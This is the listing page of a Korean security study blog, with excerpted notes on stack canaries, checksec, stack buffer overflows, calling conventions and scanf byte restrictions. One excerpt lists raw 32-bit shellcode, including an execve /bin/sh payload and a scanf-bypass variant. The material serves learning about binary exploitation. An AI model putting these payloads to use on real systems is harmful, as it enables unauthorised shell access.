일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- 넷크래프트
- 무선채널
- Mac
- 대학원
- Shift + ESC
- recon-ng
- Mimikatz
- OpenID Connect
- 보안
- airdecap-ng
- 강의
- 패시브스캐닝
- Container
- Social Network in Game
- AttackGraph
- NMAP
- Kublet
- OIDC
- 화이트해커
- davtest
- decap
- Chrome 작업관리자
- dnsenum
- 액티브스캐닝
- SecurityMetric
- cgroups
- ip forwarding
- 프로젝트
- 계정 탈취
- 공격그래프
- Today
- Total
목록분류 전체보기 (97)
네른
보호되어 있는 글입니다.
보호되어 있는 글입니다.
pwntools를 설치할 때 보통 같이 설치되며 ~/.local/bin/checksec에 위치 checksec ./binary 와 같이 사용하면 바이너리에 적용된 보호기법을 알 수 있음
스택 카나리 보호기법 - 함수의 프롤로그에서 return address와 버퍼 사이에 임의의 값을 삽입함 - 함수의 에필로그에서 해당 값이 변조되었는지 확인함 Why? - Return address를 덮어씌우려면 반드시 그 앞의 버퍼를 채우면서 지나가게 되므로 BOF 공격을 막을 수 있음 - stack canary가 적용된 바이너리에 BOF 공격을 그대로 수행하면 stack smashing detected라는 오류가 발생 $ gcc -o canary canary.c $ ./canary HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH *** stack smashing detected ***: terminated Aborted == prologue == 0x000000000..
보호되어 있는 글입니다.
scanf 함수의 경우 \x09, \x0a, \x0b, \x0c, \x0d, \x20 를 읽지 못함 그리고 기본 25byte짜리 쉘코드(pwntools의 shellcraft.i386.linux.sh())에는 0xb가 들어있다
우회가 필요한 경우 사용해야하는 쉘코드들 32bit shellcode 6 Bytes Shell Code \x31\xc0\xb0\x01\xcd\x80 25 Bytes Shell Code (기본 쉘코드) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회 쉘코드) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 41 Bytes Shell Code (setreuid(geteuid(), getr..
보호되어 있는 글입니다.

스택 오버플로우는 스택영역 확장이 너무 큰 경우 스택 버퍼 오버플로우는 스택에 존재하는 버퍼가 오버플로우 되는 것 Memory leak - 문자열의 끝(스택에서 문자열의 맨 끝)에 널바이트가 없으면 하나의 문자열로 인식되어 printf 등에서 쭉 출력될 수 있음 - c계열의 언어에서는 널바이트(x00)가 문자열의 종료를 알림. 별도의 길이 언급이 없는 대부분의 함수는 이 널바이트를 만날 때 까지 동작을 계속하므로 주의해야 함 Return address overwrite - 함수를 호출할 때, rip(반환 주소)와 rbp를 스택에 순서대로 담는다는 것을 생각 // Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie #include #..
컴파일러별로 함수 호출시 사용하는 규약이 다름 x86 : 레지스터 수가 적어 스택을 통해 인자를 전달 - cdecl - stdcall - fastcall - thiscall x86-64 - System V (SYSV) - MS ABI : Windows Syscall에 사용됨 cdecl - 인자 전달에 사용한 스택을 "호출자(Caller)"가 정리함 SYSV - 인자를 레지스터에 담아 전달함 (RDI, RSI, RDX, RCX, R8, R9 순서대로 + 이후에는 스택) - Caller가 스택을 정리함 - 반환값은 RAX에 담김 - push 하나당 rsp가 8씩 감소함을 생각하자(esp의 두배) - callee가 종료되면 leave 명령어고 rbp를 꺼내고 ret 명령어로 rip를 되돌림 - 이후 calle..